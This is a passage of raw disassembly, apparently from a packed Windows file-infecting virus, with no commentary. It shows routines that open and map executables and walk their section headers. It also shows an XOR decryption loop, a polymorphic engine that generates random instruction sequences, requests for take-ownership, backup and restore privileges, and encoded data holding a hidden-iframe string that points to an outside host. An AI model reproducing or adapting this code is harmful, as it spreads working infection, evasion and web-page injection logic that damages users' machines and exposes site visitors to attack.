		jle	loc_48C513
		lea	esi, [ebp+12355C4Eh]


loc_48C45A:				; CODE XREF: UPX2:0048C4DEj
					; UPX2:0048C501j ...
		lea	ecx, [ebp+12355E4Dh]
		sub	ecx, esi
		push	0
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+12355C10h]
		cmp	eax, 0
		jle	loc_48C513
		mov	ecx, eax
		mov	edi, esi


loc_48C47A:				; CODE XREF: UPX2:0048C49Fj
		mov	edx, [ebp+123561EDh]
		xor	[esi], dl
		ror	edx, 8
		inc	byte ptr [ebp+123561F5h]
		and	byte ptr [ebp+123561F5h], 1
		jnz	short loc_48C497
		imul	edx, 0Dh


loc_48C497:				; CODE XREF: UPX2:0048C492j
		inc	esi
		mov	[ebp+123561EDh], edx
		dec	eax
		jnz	short loc_48C47A
		lea	esi, [ebp+12355C4Eh]


loc_48C4A7:				; CODE XREF: UPX2:0048C4BBj
		mov	al, 0Dh
		repne scasb
		jnz	short loc_48C4BD
		pusha
		call	sub_48B6FE
		popa
		jb	short loc_48C513
		jecxz	short loc_48C4C1
		lea	esi, [edi+1]
		jmp	short loc_48C4A7
; ---------------------------------------------------------------------------


loc_48C4BD:				; CODE XREF: UPX2:0048C4ABj
		mov	ecx, edi
		sub	ecx, esi


loc_48C4C1:				; CODE XREF: UPX2:0048C4B6j
		lea	edi, [ebp+12355C4Eh]
		rep movsb
		xchg	esi, edi
		mov	ecx, 0Ah


loc_48C4D0:				; CODE XREF: UPX2:0048C4EEj
		call	sub_48E61C
		push	eax
		call	sub_48E636
		pop	eax
		test	eax, eax
		jz	loc_48C45A
		push	ecx
		push	64h
		call	dword ptr [ebp+12352314h]
		pop	ecx
		loop	loc_48C4D0
		call	dword ptr [ebp+123522D0h]
		sub	eax, [ebp+123560AAh]
		cmp	eax, 0EA60h
		jb	loc_48C45A
		and	dword ptr [ebp+12351642h], 0
		jmp	loc_48C45A
; ---------------------------------------------------------------------------


loc_48C513:				; CODE XREF: UPX2:0048C44Ej
					; UPX2:0048C470j ...
		push	ebx
		call	dword ptr [ebp+12355C04h]
		cmp	byte ptr [ebp+12351639h], 1
		jz	short loc_48C533
		push	7530h
		call	dword ptr [ebp+12352314h]
		jmp	near ptr dword_48C048+26Ah
; ---------------------------------------------------------------------------


loc_48C533:				; CODE XREF: UPX2:0048C521j
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		pusha
		and	dword ptr [ebp+123560D6h], 0
		and	dword ptr [ebp+123560DAh], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_48C553:				; CODE XREF: UPX2:0048C578j
		mov	eax, [esp+24h]
		sub	eax, [edx+0Ch]
		jb	short loc_48C575
		cmp	eax, [edx+8]
		jnb	short loc_48C575
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+123560D6h], edx
		mov	[ebp+123560DAh], eax
		jmp	short loc_48C57A
; ---------------------------------------------------------------------------


loc_48C575:				; CODE XREF: UPX2:0048C55Aj
					; UPX2:0048C55Fj
		add	edx, 28h
		loop	loc_48C553


loc_48C57A:				; CODE XREF: UPX2:0048C573j
		popa
		retn	4
; ---------------------------------------------------------------------------
		dw 8357h
		db 0BDh	; ½
		db 84h,	5Bh, 35h
		db  12h
		align 2
		dw 850Fh
		db  1Ah
		db 1, 2	dup(0)
		db  50h	; P
		db 54h,	6Ah, 28h
		db  6Ah	; j
		db 2 dup(0FFh),	95h
		db  8Ch	; Œ
		db 23h,	35h, 12h
		db  85h	; …
		db 0C0h, 5Fh, 0Fh
		db  88h	; ˆ
		db 5, 1, 0
		db    0
		db 0E8h, 0B4h, 0EAh
		db 0FFh
		db 0FFh, 0E8h, 11h
		db    0
		db 2 dup(0), 53h
aEtfilesecurity	db 'etFileSecurityA',0
		db 0FFh
		db 0B5h, 0F0h, 5Bh
		db  35h	; 5
		db 12h,	0FFh, 95h
		db  6Ch	; l
		db 5Bh,	35h, 12h
		db  89h	; ‰
		db 85h,	0F8h, 5Bh
		db  35h	; 5
		db 12h,	0E8h, 19h
		db    0
		db 2 dup(0), 53h
aEtakeownership	db 'eTakeOwnershipPrivilege',0
		db  57h	; W
		db 0E8h, 19h, 0EDh
		db 0FFh
		db 0FFh, 0E8h, 13h
		db    0
		db 2 dup(0), 53h
aErestoreprivil	db 'eRestorePrivilege',0
		dw 0E857h
		db 0FBh	; û
		db 0ECh, 2 dup(0FFh)
		db 0E8h	; è
		db 12h,	2 dup(0)
		db    0
aSebackupprivil	db 'SeBackupPrivilege',0
		db 57h
		db 0E8h	; è
		db 0DEh, 0ECh, 0FFh
		db 0FFh
		db 0E8h, 18h, 0
		db    0
		align 2
aSechangenotify	db 'SeChangeNotifyPrivilege',0
		dw 0E857h
; ---------------------------------------------------------------------------
		mov	ebx, 50FFFFECh
		push	esp
		lea	eax, [ebp+12355B8Ch]
		push	64h
		push	eax
		push	1
		push	edi
		call	dword ptr [ebp+1235239Ch]
		mov	[esp], edi
		call	dword ptr [ebp+12352288h]
		sub	al, al
		lea	edi, [ebp+12355E4Eh]
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp+12355B8Ch]
		push	40001h
		push	esp
		push	1
		push	edi
		call	dword ptr [ebp+12355BF8h]
		push	esp
		push	4
		push	edi
		call	dword ptr [ebp+12355BF8h]
		add	esp, 14h
		push	dword ptr [ebp+12355BF0h]
		call	dword ptr [ebp+123522ACh]
		pop	edi
		retn
; ---------------------------------------------------------------------------
		lea	esi, [ebp+12355E4Eh]
		test	ebx, ebx
		jz	short loc_48C6D7
		push	esi
		call	dword ptr [ebp+123522B4h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_48C6D7
		mov	[ebp+12356056h], eax
		push	0
		push	esi
		call	dword ptr [ebp+12352304h]
		test	eax, eax
		jz	short loc_48C6D7
		inc	byte ptr [ebp+123560FAh]


loc_48C6D7:				; CODE XREF: UPX2:0048C6B0j
					; UPX2:0048C6BCj ...
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		or	ebx, ebx
		jnz	short loc_48C6F4
		cmp	dword ptr [ebp+12355B84h], 0
		jnz	short loc_48C6F4
		push	3
		push	80000000h
		jmp	short loc_48C6FB
; ---------------------------------------------------------------------------


loc_48C6F4:				; CODE XREF: UPX2:0048C6E0j
					; UPX2:0048C6E9j
		push	1
		push	0C0000000h


loc_48C6FB:				; CODE XREF: UPX2:0048C6F2j
		push	esi
		call	dword ptr [ebp+12352290h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_48DC4F
		mov	[ebp+1235605Ah], eax
		test	ebx, ebx
		jz	short loc_48C736
		lea	ecx, [ebp+1235605Eh]
		lea	edx, [ebp+12356066h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+123522BCh]
		test	eax, eax
		jz	short loc_48C736
		inc	byte ptr [ebp+123560FBh]


loc_48C736:				; CODE XREF: UPX2:0048C713j
					; UPX2:0048C72Ej
		push	0
		push	dword ptr [ebp+1235605Ah]
		call	dword ptr [ebp+123522B8h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_48DC0B
		mov	[ebp+1235606Eh], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		or	ebx, ebx
		jnz	short loc_48C767
		cmp	dword ptr [ebp+12355B84h], 0
		jz	short loc_48C76B


loc_48C767:				; CODE XREF: UPX2:0048C75Cj
		push	4
		jmp	short loc_48C76D
; ---------------------------------------------------------------------------


loc_48C76B:				; CODE XREF: UPX2:0048C765j
		push	2


loc_48C76D:				; CODE XREF: UPX2:0048C769j
		push	ecx
		push	dword ptr [ebp+1235605Ah]
		call	dword ptr [ebp+12352294h]
		test	eax, eax
		jz	loc_48DC0B
		xor	ecx, ecx
		mov	[ebp+12356072h], eax
		push	ecx
		push	ecx
		push	ecx
		test	ebx, ebx
		or	ebx, ebx
		jnz	short loc_48C79C
		cmp	dword ptr [ebp+12355B84h], 0
		jz	short loc_48C7A3


loc_48C79C:				; CODE XREF: UPX2:0048C791j
		push	0F001Fh
		jmp	short loc_48C7A8
; ---------------------------------------------------------------------------


loc_48C7A3:				; CODE XREF: UPX2:0048C79Aj
		push	0F001Dh


loc_48C7A8:				; CODE XREF: UPX2:0048C7A1j
		push	eax
		call	dword ptr [ebp+123522ECh]
		test	eax, eax
		jz	loc_48DBDA
		mov	[ebp+12356076h], eax
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp+12351EAFh]
		mov	ecx, [ebx+38h]
		xor	edx, edx
		lea	eax, [ecx+eax-1]
		div	ecx
		mul	ecx
		mov	[ebp+12356082h], eax
		mov	ecx, [ebx+3Ch]
		mov	eax, [ebp+12351EAFh]
		xor	edx, edx
		lea	eax, [ecx+eax-1]
		div	ecx
		mul	ecx
		mov	[ebp+1235607Ah], eax
		retn
; ---------------------------------------------------------------------------
		movzx	ecx, word ptr [ebx+6]
		stc


loc_48C7F6:				; CODE XREF: UPX2:0048C815j
		jecxz	short locret_48C83A
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_48C83A
		dec	ecx
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_48C7F6
		mov	eax, [ebp+1235606Eh]
		mov	ecx, [ebx+3Ch]
		sub	eax, [edx+14h]
		dec	ecx
		push	eax
		mov	eax, [edx+10h]
		lea	eax, [eax+ecx*2+1]
		add	[esp], ecx
		not	ecx
		and	eax, ecx
		and	[esp], ecx
		cmp	eax, [esp]
		pop	eax

locret_48C83A:				; CODE XREF: UPX2:loc_48C7F6j
					; UPX2:0048C80Ej
		retn
; ---------------------------------------------------------------------------
		align 4
		add	[edx], eax
		add	eax, [esi]
		pop	es
		add	eax, 0D30204B2h	; CODE XREF: UPX2:loc_48C98Cp
					; UPX2:0048C9D9p ...
		add	dl, bl
		add	dl, bl
		mov	al, 0


loc_48C84C:				; CODE XREF: UPX2:loc_48C857j
		dec	dl
		js	short loc_48C859
		bt	ecx, edx
		jnb	short loc_48C857
		inc	al


loc_48C857:				; CODE XREF: UPX2:0048C853j
		jmp	short loc_48C84C
; ---------------------------------------------------------------------------


loc_48C859:				; CODE XREF: UPX2:0048C84Ej
		call	near ptr dword_48B554+9Bh
		xor	edx, edx


loc_48C860:				; CODE XREF: UPX2:0048C86Aj
		bt	ecx, edx
		jnb	short loc_48C869
		dec	al
		js	short loc_48C86C


loc_48C869:				; CODE XREF: UPX2:0048C863j
		inc	edx
		jmp	short loc_48C860
; ---------------------------------------------------------------------------


loc_48C86C:				; CODE XREF: UPX2:0048C867j
		or	bl, bl
		jnz	short loc_48C880
		push	edx
		mov	al, 2
		call	sub_48B5F6
		shl	edx, 2
		pop	eax
		add	eax, edx
		jmp	short locret_48C887
; ---------------------------------------------------------------------------


loc_48C880:				; CODE XREF: UPX2:0048C86Ej
		mov	al, [edx+ebp+1235391Ch]

locret_48C887:				; CODE XREF: UPX2:0048C87Ej
					; UPX2:0048C8D0j
		retn
; ---------------------------------------------------------------------------
		clc
		stc
		cmc
		cwde
		cdq
		lahf
		aaa
		aas
		add	al, 40h
		inc	ecx
		inc	edx
		inc	ebx
		inc	ebp
		inc	esi
		inc	edi
		inc	esp
		add	eax, 83828180h
		test	[esi-3FCC7B79h], eax


loc_48C8A4:				; CODE XREF: UPX2:0048C8C7j
		movzx	edx, word ptr [eax+ebp+12351FCCh]
		lea	edx, [ebp+edx+12351000h]
		cmp	edx, esi
		ja	short loc_48C8C9
		movzx	ecx, word ptr [eax+ebp+12351FCEh]
		add	eax, 4
		cmp	eax, 0E0h
		jb	short loc_48C8A4


loc_48C8C9:				; CODE XREF: UPX2:0048C8B5j
					; UPX2:0048CD12j
		cmp	dword ptr [ebp+123560D2h], 0
		jz	short locret_48C887
		test	cl, 7Fh
		jnz	short loc_48C8DB
		push	2
		jmp	short loc_48C8DD
; ---------------------------------------------------------------------------


loc_48C8DB:				; CODE XREF: UPX2:0048C8D5j
		push	5


loc_48C8DD:				; CODE XREF: UPX2:0048C8D9j
		cmp	dword ptr [ebp+123560D2h], 1
		pop	eax
		jz	short loc_48C8F0
		call	near ptr dword_48B554+9Bh
		cmp	al, 0
		jnz	short loc_48C966


loc_48C8F0:				; CODE XREF: UPX2:0048C8E5j
		test	cl, 80h
		setnz	al
		add	al, 3
		imul	eax, 3
		call	near ptr dword_48B554+9Bh
		cmp	al, 4
		jnb	short loc_48C908
		mov	al, 90h
		jmp	short loc_48C964
; ---------------------------------------------------------------------------


loc_48C908:				; CODE XREF: UPX2:0048C902j
		cmp	al, 7
		jnb	short loc_48C910
		mov	al, 0FCh
		jmp	short loc_48C964
; ---------------------------------------------------------------------------


loc_48C910:				; CODE XREF: UPX2:0048C90Aj
		cmp	al, 9
		jnb	short loc_48C95D
		test	cl, 1
		jz	short loc_48C94A
		test	cl, 80h
		setnz	al
		add	al, al
		add	al, 6
		call	near ptr dword_48B554+9Bh
		cmp	al, 5
		jnb	short loc_48C941
		test	cl, 4
		setnz	al
		inc	eax
		call	near ptr dword_48B554+9Bh
		mov	al, [eax+ebp+1235396Ch]
		jmp	short loc_48C964
; ---------------------------------------------------------------------------


loc_48C941:				; CODE XREF: UPX2:0048C92Aj
		mov	al, [eax+ebp+12353969h]
		jmp	short loc_48C964
; ---------------------------------------------------------------------------


loc_48C94A:				; CODE XREF: UPX2:0048C917j
		test	cl, 80h
		setnz	al
		inc	eax
		call	near ptr dword_48B554+9Bh
		imul	eax, 3
		add	al, 9Bh
		jmp	short loc_48C964
; ---------------------------------------------------------------------------


loc_48C95D:				; CODE XREF: UPX2:0048C912j
		mov	al, [eax+ebp+12353960h]


loc_48C964:				; CODE XREF: UPX2:0048C906j
					; UPX2:0048C90Ej ...
		stosb
		retn
; ---------------------------------------------------------------------------


loc_48C966:				; CODE XREF: UPX2:0048C8EEj
		push	ebx
		mov	al, 2
		call	near ptr dword_48B554+9Bh
		mov	bl, al
		mov	al, 7Fh
		or	bl, bl
		jnz	short loc_48C978
		mov	al, 0Fh


loc_48C978:				; CODE XREF: UPX2:0048C974j
		test	cl, al
		setz	byte ptr [ebp+12356103h]
		jnz	short loc_48C98C
		mov	al, 8
		call	near ptr dword_48B554+9Bh
		jmp	short loc_48C991
; ---------------------------------------------------------------------------


loc_48C98C:				; CODE XREF: UPX2:0048C981j
		call	near ptr loc_48C841+1


loc_48C991:				; CODE XREF: UPX2:0048C98Aj
		mov	bh, al
		test	cl, 80h
		setnz	al
		inc	eax
		call	near ptr dword_48B554+9Bh
		cmp	al, 1
		jz	loc_48CB7D
		cmp	byte ptr [ebp+12356103h], 1
		jnz	short loc_48C9BC
		cmp	dword ptr [ebp+123560D2h], 4
		setnb	al
		jmp	short loc_48C9BE
; ---------------------------------------------------------------------------


loc_48C9BC:				; CODE XREF: UPX2:0048C9AEj
		mov	al, 2


loc_48C9BE:				; CODE XREF: UPX2:0048C9BAj
		add	al, 3
		call	near ptr dword_48B554+9Bh
		cmp	al, 4
		jnz	short loc_48CA05
		cmp	bl, 1
		jnz	short loc_48C9E0
		cmp	dword ptr [ebp+123560D2h], 5
		jnb	short loc_48C9E0
		mov	bl, 0
		call	near ptr loc_48C841+1
		mov	bh, al


loc_48C9E0:				; CODE XREF: UPX2:0048C9CCj
					; UPX2:0048C9D5j
		mov	al, bl
		add	al, 16h
		mov	byte ptr [ebp+12353AE0h], 0AAh
		shl	eax, 3
		add	al, bh
		add	[ebp+12353AE0h], bl
		stosb
		or	eax, 0FFFFFFFFh
		call	near ptr dword_48B554+9Bh
		stosb
		jmp	loc_48CB7B
; ---------------------------------------------------------------------------


loc_48CA05:				; CODE XREF: UPX2:0048C9C7j
		cmp	al, 3
		jnz	short loc_48CA21
		mov	al, 0F6h
		mov	ah, 0D0h
		add	al, bl
		add	ah, bh
		mov	cl, [ebp+12356103h]
		inc	cl
		rep stosw
		jmp	loc_48CB7B
; ---------------------------------------------------------------------------


loc_48CA21:				; CODE XREF: UPX2:0048CA07j
		cmp	al, 2
		jnz	short loc_48CAA4
		cmp	byte ptr [ebp+12356103h], 1
		jnz	short loc_48CA55
		cmp	dword ptr [ebp+123560D2h], 4
		jnb	short loc_48CA4C
		mov	al, 89h
		stosb
		movzx	eax, bh
		lea	eax, [eax+eax*8+0C0h]
		stosb
		jmp	loc_48CB7B
; ---------------------------------------------------------------------------
		jmp	short loc_48CA5A
; ---------------------------------------------------------------------------


loc_48CA4C:				; CODE XREF: UPX2:0048CA35j
		mov	al, 8
		call	near ptr dword_48B554+9Bh
		jmp	short loc_48CA5A
; ---------------------------------------------------------------------------


loc_48CA55:				; CODE XREF: UPX2:0048CA2Cj
		call	near ptr loc_48C841+1


loc_48CA5A:				; CODE XREF: UPX2:0048CA4Aj
					; UPX2:0048CA53j
		mov	cl, [ebp+12356103h]
		cmp	bl, 0
		jz	short loc_48CA80
		or	bh, bh
		jnz	short loc_48CA76


loc_48CA69:				; CODE XREF: UPX2:0048CA7Cj
		add	al, 90h
		mov	word ptr [ebp+12353B7Ch], 0AA90h
		jmp	short loc_48CA97
; ---------------------------------------------------------------------------


loc_48CA76:				; CODE XREF: UPX2:0048CA67j
		or	al, al
		jnz	short loc_48CA80
		xchg	al, bh
		jmp	short loc_48CA69
; ---------------------------------------------------------------------------
		jmp	short loc_48CA97
; ---------------------------------------------------------------------------


loc_48CA80:				; CODE XREF: UPX2:0048CA63j
					; UPX2:0048CA78j
		mov	ah, bh
		shl	ah, 3
		add	ah, al
		add	ah, 0C0h
		mov	al, 86h
		add	al, bl
		mov	word ptr [ebp+12353B7Ch], 0AB66h


loc_48CA97:				; CODE XREF: UPX2:0048CA74j
					; UPX2:0048CA7Ej
		jecxz	short $+2
		inc	cl


loc_48CA9B:				; CODE XREF: UPX2:0048CA9Dj
		stosw
		loop	loc_48CA9B
		jmp	loc_48CB7B
; ---------------------------------------------------------------------------


loc_48CAA4:				; CODE XREF: UPX2:0048CA23j
		shl	al, 1
		add	al, 8Ah
		add	al, bl
		cmp	al, 8Ch
		jnz	short loc_48CAC4
		inc	al
		inc	bl
		cmp	byte ptr [ebp+12356103h], 0
		jnz	short loc_48CAC4
		push	eax
		call	near ptr loc_48C841+1
		mov	bh, al
		pop	eax


loc_48CAC4:				; CODE XREF: UPX2:0048CAACj
					; UPX2:0048CAB9j
		stosb
		cmp	byte ptr [edi-1], 8Dh
		jnz	short loc_48CB1D
		mov	al, 6
		cmp	byte ptr [ebp+12356103h], 0
		jnz	short loc_48CB02
		cmp	dword ptr [ebp+123560D2h], 2
		jbe	short loc_48CB02
		add	al, 8
		cmp	dword ptr [ebp+123560D2h], 3
		jbe	short loc_48CB02
		inc	al
		cmp	dword ptr [ebp+123560D2h], 5
		jbe	short loc_48CB02
		add	al, 8
		cmp	dword ptr [ebp+123560D2h], 6
		jbe	short loc_48CB02
		inc	al


loc_48CB02:				; CODE XREF: UPX2:0048CAD4j
					; UPX2:0048CADDj ...
		call	near ptr dword_48B554+9Bh
		cmp	al, 6
		jnb	short loc_48CB14
		mov	al, [eax+ebp+1235391Ch]
		jmp	short loc_48CB26
; ---------------------------------------------------------------------------


loc_48CB14:				; CODE XREF: UPX2:0048CB09j
		mov	al, [eax+ebp+1235396Bh]
		jmp	short loc_48CB26
; ---------------------------------------------------------------------------


loc_48CB1D:				; CODE XREF: UPX2:0048CAC9j
		mov	al, 8
		call	near ptr dword_48B554+9Bh
		add	al, 0C0h


loc_48CB26:				; CODE XREF: UPX2:0048CB12j
					; UPX2:0048CB1Bj
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CB31
		mov	bh, al


loc_48CB31:				; CODE XREF: UPX2:0048CB2Dj
		push	eax
		shl	bh, 3
		add	al, bh
		stosb
		pop	ebx
		cmp	al, 0C0h
		jnb	short loc_48CB7B
		and	al, 7
		cmp	al, 4
		jnz	short loc_48CB5B
		xor	al, al
		inc	ah
		call	near ptr dword_48B554+9Bh
		stosb
		and	al, 7
		cmp	al, 5
		jnz	short loc_48CB5B
		cmp	bl, 40h
		jnb	short loc_48CB5B
		or	bl, 80h


loc_48CB5B:				; CODE XREF: UPX2:0048CB41j
					; UPX2:0048CB51j ...
		cmp	bl, 40h
		jnb	short loc_48CB65
		cmp	bl, 5
		jnz	short loc_48CB7B


loc_48CB65:				; CODE XREF: UPX2:0048CB5Ej
		or	eax, 0FFFFFFFFh
		call	near ptr dword_48B554+9Bh
		cmp	bl, 40h
		jb	short loc_48CB7A
		cmp	bl, 80h
		jnb	short loc_48CB7A
		stosb
		jmp	short loc_48CB7B
; ---------------------------------------------------------------------------


loc_48CB7A:				; CODE XREF: UPX2:0048CB70j
					; UPX2:0048CB75j
		stosd


loc_48CB7B:				; CODE XREF: UPX2:0048CA00j
					; UPX2:0048CA1Cj ...
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_48CB7D:				; CODE XREF: UPX2:0048C9A1j
		cmp	byte ptr [ebp+12356103h], 0
		jnz	short loc_48CB8A
		mov	al, 0Bh
		jmp	short loc_48CB9B
; ---------------------------------------------------------------------------


loc_48CB8A:				; CODE XREF: UPX2:0048CB84j
		mov	al, 9
		or	bl, bl
		jnz	short loc_48CB9B
		cmp	dword ptr [ebp+123560D2h], 4
		jnb	short loc_48CB9B
		mov	al, 7


loc_48CB9B:				; CODE XREF: UPX2:0048CB88j
					; UPX2:0048CB8Ej ...
		call	near ptr dword_48B554+9Bh
		cmp	al, 2
		jb	short loc_48CBAF
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CBAF
		add	al, 2


loc_48CBAF:				; CODE XREF: UPX2:0048CBA2j
					; UPX2:0048CBABj
		cmp	al, 8
		jbe	short loc_48CBDD
		or	bl, bl
		jnz	short loc_48CBBE
		push	eax
		mov	al, 0FEh
		stosb
		pop	eax
		add	al, 10h


loc_48CBBE:				; CODE XREF: UPX2:0048CBB5j
		dec	al
		shl	al, 3
		add	al, bh
		stosb
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CBDB
		or	bl, bl
		jnz	short loc_48CBD8
		push	eax
		mov	al, 0FEh
		stosb
		pop	eax


loc_48CBD8:				; CODE XREF: UPX2:0048CBD1j
		xor	al, 8
		stosb


loc_48CBDB:				; CODE XREF: UPX2:0048CBCDj
		jmp	short loc_48CB7B
; ---------------------------------------------------------------------------


loc_48CBDD:				; CODE XREF: UPX2:0048CBB1j
		mov	[ebp+12356102h], al
		cmp	dword ptr [ebp+123560D2h], 4
		jnb	short loc_48CC0D
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CC0D
		cmp	al, 0
		jz	loc_48CCAD
		cmp	al, 5
		jz	loc_48CCAD
		cmp	al, 6
		jz	loc_48CCAD


loc_48CC0D:				; CODE XREF: UPX2:0048CBEAj
					; UPX2:0048CBF3j
		push	eax
		mov	al, 2
		call	sub_48B5F6
		pop	eax
		cmp	dl, 1
		jz	loc_48CCAD
		cmp	al, 8
		jnz	short loc_48CC27
		mov	al, 84h
		jmp	short loc_48CC2A
; ---------------------------------------------------------------------------


loc_48CC27:				; CODE XREF: UPX2:0048CC21j
		shl	al, 3


loc_48CC2A:				; CODE XREF: UPX2:0048CC25j
		add	al, bl
		stosb
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CC48
		cmp	byte ptr [ebp+12356102h], 1
		jz	short loc_48CC69
		cmp	byte ptr [ebp+12356102h], 4
		jz	short loc_48CC69


loc_48CC48:				; CODE XREF: UPX2:0048CC34j
		mov	al, 8
		call	near ptr dword_48B554+9Bh
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CC6B
		cmp	byte ptr [ebp+12356102h], 7
		jnb	short loc_48CC6B
		cmp	al, bh
		jnz	short loc_48CC67
		xor	al, 1


loc_48CC67:				; CODE XREF: UPX2:0048CC63j
		jmp	short loc_48CC6B
; ---------------------------------------------------------------------------


loc_48CC69:				; CODE XREF: UPX2:0048CC3Dj
					; UPX2:0048CC46j
		mov	al, bh


loc_48CC6B:				; CODE XREF: UPX2:0048CC56j
					; UPX2:0048CC5Fj ...
		shl	al, 3
		add	al, 0C0h
		add	al, bh
		stosb
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CCA8
		cmp	byte ptr [ebp+12356102h], 0
		jz	short loc_48CC97
		cmp	byte ptr [ebp+12356102h], 5
		jz	short loc_48CC97
		cmp	byte ptr [ebp+12356102h], 6
		jnz	short loc_48CCA8


loc_48CC97:				; CODE XREF: UPX2:0048CC83j
					; UPX2:0048CC8Cj
		mov	ax, [edi-2]
		cmp	byte ptr [ebp+12356102h], 6
		jz	short loc_48CCA6
		xor	al, 28h


loc_48CCA6:				; CODE XREF: UPX2:0048CCA2j
		stosw


loc_48CCA8:				; CODE XREF: UPX2:0048CC7Aj
					; UPX2:0048CC95j
		jmp	loc_48CB7B
; ---------------------------------------------------------------------------


loc_48CCAD:				; CODE XREF: UPX2:0048CBF7j
					; UPX2:0048CBFFj ...
		shl	byte ptr [ebp+12356102h], 3


loc_48CCB4:				; CODE XREF: UPX2:0048CD20j
		or	eax, 0FFFFFFFFh
		cmp	byte ptr [ebp+12356103h], 0
		jz	short loc_48CCC9
		cmp	byte ptr [ebp+12356102h], 38h
		jb	short loc_48CCD0


loc_48CCC9:				; CODE XREF: UPX2:0048CCBEj
		call	near ptr dword_48B554+9Bh
		jmp	short loc_48CCDB
; ---------------------------------------------------------------------------


loc_48CCD0:				; CODE XREF: UPX2:0048CCC7j
		cmp	byte ptr [ebp+12356102h], 20h
		jz	short loc_48CCDB
		sub	eax, eax


loc_48CCDB:				; CODE XREF: UPX2:0048CCCEj
					; UPX2:0048CCD7j
		mov	[ebp+123560FEh], eax
		sub	edx, edx
		test	bh, bh
		setnz	dl
		sub	eax, eax
		inc	dl
		or	bl, bl
		jnz	short loc_48CCF4
		inc	dl
		jmp	short loc_48CCF7
; ---------------------------------------------------------------------------


loc_48CCF4:				; CODE XREF: UPX2:0048CCEEj
		add	dl, 4


loc_48CCF7:				; CODE XREF: UPX2:0048CCF2j
		cmp	[ebp+123560D2h], edx
		jnb	short loc_48CD22
		cmp	byte ptr [ebp+12356102h], 10h
		jz	short loc_48CD11
		cmp	byte ptr [ebp+12356102h], 18h
		jnz	short loc_48CD17


loc_48CD11:				; CODE XREF: UPX2:0048CD06j
		pop	ebx
		jmp	loc_48C8C9
; ---------------------------------------------------------------------------


loc_48CD17:				; CODE XREF: UPX2:0048CD0Fj
		xor	ebx, ebx
		mov	byte ptr [ebp+12356103h], 1
		jmp	short loc_48CCB4
; ---------------------------------------------------------------------------


loc_48CD22:				; CODE XREF: UPX2:0048CCFDj
		cmp	bl, 0
		jz	short loc_48CD61
		cmp	byte ptr [ebp+12356102h], 40h
		jz	short loc_48CD61
		cmp	dword ptr [ebp+123560FEh], 100h
		jb	short loc_48CD47
		mov	al, 2
		call	near ptr dword_48B554+9Bh
		cmp	al, 1
		jz	short loc_48CD61


loc_48CD47:				; CODE XREF: UPX2:0048CD3Aj
		mov	al, 83h
		stosb
		mov	al, 0C0h
		add	al, [ebp+12356102h]
		add	al, bh
		stosb
		mov	al, [ebp+123560FEh]
		stosb
		jmp	loc_48CB7B
; ---------------------------------------------------------------------------


loc_48CD61:				; CODE XREF: UPX2:0048CD25j
					; UPX2:0048CD2Ej ...
		or	bh, bh
		jnz	short loc_48CD7C
		cmp	byte ptr [ebp+12356102h], 40h
		jz	short loc_48CD78
		mov	al, 4
		add	al, [ebp+12356102h]
		jmp	short loc_48CD91
; ---------------------------------------------------------------------------


loc_48CD78:				; CODE XREF: UPX2:0048CD6Cj
		mov	al, 0A8h
		jmp	short loc_48CD91
; ---------------------------------------------------------------------------


loc_48CD7C:				; CODE XREF: UPX2:0048CD63j
		cmp	byte ptr [ebp+12356102h], 40h
		jz	short loc_48CD8F
		mov	al, 80h
		add	bh, [ebp+12356102h]
		jmp	short loc_48CD91
; ---------------------------------------------------------------------------


loc_48CD8F:				; CODE XREF: UPX2:0048CD83j
		mov	al, 0F6h


loc_48CD91:				; CODE XREF: UPX2:0048CD76j
					; UPX2:0048CD7Aj ...
		add	al, bl
		stosb
		or	bh, bh
		jz	short loc_48CD9D
		mov	al, 0C0h
		add	al, bh
		stosb


loc_48CD9D:				; CODE XREF: UPX2:0048CD96j
		mov	eax, [ebp+123560FEh]
		or	bl, bl
		jnz	short loc_48CDAA
		stosb
		jmp	short loc_48CDAB
; ---------------------------------------------------------------------------


loc_48CDAA:				; CODE XREF: UPX2:0048CDA5j
		stosd


loc_48CDAB:				; CODE XREF: UPX2:0048CDA8j
		jmp	loc_48CB7B
; ---------------------------------------------------------------------------
		dd 110039h, 24448B59h, 0B888890Ch, 33000000h, 3231C3C0h
		dd 2E302E37h, 20312E30h, 632E4C6Ah, 61727568h, 0D6C702Eh
		dd 693C230Ah, 6D617266h, 72732065h, 68223D63h, 3A707474h
		dd 4C6A2F2Fh, 2326632Eh, 3B343031h, 2E617275h, 722F6C70h
		dd 20222F63h, 6C797473h, 26223D65h, 30303123h, 7073693Bh
		dd 3A79616Ch, 656E6F6Eh, 2F3C3E22h, 61726669h, 0D3E656Dh
		dd 8BFE8B0Ah, 35606E8Dh, 834CB012h, 0AEF204E9h,	3F810975h
		dd 7568632Eh, 8BC3F475h, 6E8D8BFEh, 83123560h, 3CB005E9h
		dd 0EE75AEF2h, 752F3F80h, 1478BF5h, 0DFDFDF25h,	4F423DDFh
		dd 0E6755944h, 0E8FE2B4Fh, 0D51h, 4F68h, 2DE85B00h, 75FFFFF8h
